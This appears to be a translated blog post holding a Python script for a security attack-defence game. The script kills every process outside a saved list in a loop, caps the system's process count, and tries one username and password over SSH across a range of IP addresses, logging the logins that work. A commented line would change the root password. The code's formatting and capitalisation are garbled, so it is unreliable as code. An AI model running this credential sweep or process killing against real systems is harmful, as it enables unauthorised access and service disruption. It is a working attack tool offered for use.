Information security game Kill process script

The game is over, let it out.

Protect the original process and kill the new process

#-*- coding:utf-8 -*-#2018 -01-17#by-duwentao#version:python 2.7.9#python2.6.6 can also be used import  Osimport signalpid_list=[] #设置最大进程def  max_pid (): F = open ("/proc/sys/kernel/pid_max", "R") PID  = int (F.read (). Strip ("\ n")) F.close () if pid != 1024:print pid# Set maximum number of processes 1024os.system ("echo \" 1024\ " >>  /proc/sys/kernel/pid_max") else:print  " max_pid : 1024 "#获取需要保护的pid进程def  get_pid (): #判断要保护的进程是否存在, does not exist get If os.path.exists (" Pid.txt ") :p asselse:os.system ("ps aux |awk \ ' {print $2}\ '  |sed \ ' s/pid/0/g\ '  >>  pid.txt ") #把要保护的进行加到列表里f  = open (" Pid.txt "," R ") For pid in f.readlines ():p id  = int (Pid.strip ("\ n")) Pid_list.append (PID) f.close () Return pid_listdef kill_pid (pid_list): self_ Pid = os.getpid ()   #获取自己程序的pidwhile  true:for i in range (1,1025): If i  in pid_list:passelif&nbSP; (i == self_pid):p Asselse:try:a = os.kill (i, signal. SIGKILL) print  ' has killed PID for the process of%s, the return value is:%s '  %  (i, a) except:passdef get_ip ():ip5 =  Int (raw_input ("Enter the number (3 or 4) of the IP you want to loop:"). Strip ("\ n")) If ip5 == 3 :ip1 = int (raw_ Input ("Enter IP first bit:"). Strip ("\ n")) Ip2 = int (raw_input ("Enter IP second bit:"). Strip ("\ n")) Ip3 = int (raw_ Input ("Please enter IP third bit:"). Strip ("\ n")) Ip4 = int (raw_input ("Enter IP fourth bit:"). Strip ("\ n")) Username = raw _input ("Enter user name:"). Strip ("\ n") passwd = raw_input ("Please enter default password:"). Strip ("\ n") for ip3 in  Range (105,107): Ip = str (IP1)  +  "."  + str (IP2)  +  "."   + str (IP3)  +  "."  + str (IP4) ssh_connect (ip,username,passwd)   #调用连接函数elif  ip5 == 4:ip1 =  Int (raw_input ("Enter IP first bit:"). Strip ("\ n")) Ip2 = int (raw_input ("Enter IP second bit:"). Strip ("\ n")) ip3 =  Int (raw_input ("Please enter IP third bit: "). Strip (" \ n ")) #ip4  = int (raw_input (" Enter IP fourth bit: "). Strip (" \ n ")) Username = raw_input (" Please enter the user name : "). Strip (" \ n ") passwd = raw_input (" Please enter default password: "). Strip (" \ n ") For ip4 in range (105,107): IP  = str (IP1)  +  "."  + str (IP2)  +  "."   + str (IP3)  +  "."  + str (IP4) ssh_connect (ip,username,passwd) else:print  ("Incorrect input, exiting") exit () Def ssh_connect (IP , username,passwd):try:         #python2.6.6 Modules          import paramiko    except:         print  "Please use python2.6.6 to run or install Paramiko module" Try:ssh = paramiko. Sshclient ()         ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ())         ssh.connect (ip,username=username,password= passwd,timeout= 1 )          #os. System (" echo centos | passwd --stdin  Root ")         #  change root password to centos         f=open (' Ssh.txt ', ' a ')         f.write ("Ip:%s,username :%s,password:%s\n " % (IP,USERNAME,PASSWD))         f.close ()          ssh.close () except:        passdef  menu ():while true:print  "\033[32m -------Please select------\033[0m" print  "\033[32m 1. Gets and modifies the maximum pid\033[0m "print " \033[32m 2. Gets the protected PID value \033[0m "print " \033[32m 3. Get ssh weak password \033[0m " print  "\033[32m 4. Kill unprotected pid\033[0m" print  "\033[32m 5. Exit this program \033[0m" Try:c =int (raw_ Input ("Please enter the ordinal you want to select:")) except:print  "\033[31m your input is wrong \033[0m" Continueif c ==&nbSp;1:max_pid () elif  (c == 2): Get_pid () elif  ( c == 3 ): Get_ip ()   elif  (c == 4): Kill_pid (pid_list) elif  ( c == 5 ): Exit () else:print  "\033[31m your input is wrong \033[0m" if __name__ ==  ' __main__ ':p rint ( "It is best to change the Chinese into English to avoid garbled" menu ()

Information security game Kill process script